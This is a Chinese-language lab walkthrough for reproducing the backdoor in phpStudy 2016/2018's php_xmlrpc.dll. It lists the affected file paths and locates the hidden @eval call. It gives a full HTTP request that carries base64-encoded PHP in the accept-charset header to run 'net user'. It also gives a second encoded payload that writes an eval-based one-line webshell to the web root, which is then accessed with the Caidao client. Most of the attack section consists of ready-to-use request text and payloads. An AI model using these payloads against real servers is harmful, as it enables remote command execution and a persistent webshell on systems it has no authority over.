phpstudy 软件是国内的一款免费的 PHP 调试环境的程序集成包,通过集成 Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer 多款软件一次性安装,无需配置即可直接安装使用,具有 PHP 环境调试和 PHP 开发功能,在国内有着近百万 PHP 语言学习者、开发者用户。但是存在后门漏洞,可直接 getshell。
漏洞存在版本:
phpStudy2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
准备工作:
服务器:192.168.29.135(Windows server 2008 SP2)
phpStudy2016(php-5.4.45+Apache)
一.漏洞环境搭建
1.下载 phpStudy2016 版的 phpstudy,启动后切换至 php-5.4.45+Apache 版本
2. 查看服务器的 IP 地址
3. 直接访问 http://192.168.29.135/
,可得到以下界面(以下界面是自行配置的index.php界面,可根据情况自行配置)
二.漏洞成因
1. 查看文件 C:\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll(这是我的安装路径,根据实际的安装情况查看安装路径),Ctrl+F 查找关键字 @evel
,找到了 @eval(%s('%s'));
,这也是漏洞的成因。
三.漏洞复现
1.访问 URL:http://192.168.29.135/
,进行抓取数据包操作,并且将其发送到repeater模块
2.添加 Accept-Encoding 和 accept-charset 参数
注意事项:
如果没有 Accept-Encoding 这个参数,需要手动加上,并且注意“gzip”和“deflate”之间存在一个逗号,并且中间没有空格。
需要手动加上:accept-charset:执行命令的 base 64 编码
echo system("net user");
的 base64 编码为 ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
GET / HTTP/1.1
Host: 192.168.29.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
accept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
执行结果为:
3.构造一句话木马写入到 web 路径下:
fputs(fopen('C:\\phpStudy\\WWW\\xx.php','w'),'<?php@eval($\_POST\[1\])?>');
4.将构造的语句进行 base64 加密 ZnB1dHMoZm9wZW4oJ0M6XHBocFN0dWR5XFdXV1x4eC5waHAnLCd3JyksJzw/cGhwIEBldmFsKCRfUE9TVFsxXSk/PicpOw==
修改 accept-charset 的参数值,写入一句话木马
5.查看服务器端是否将文件写入
6.使用菜刀进行连接操作,URL:http://192.168.29.135/xx.php
,密码为1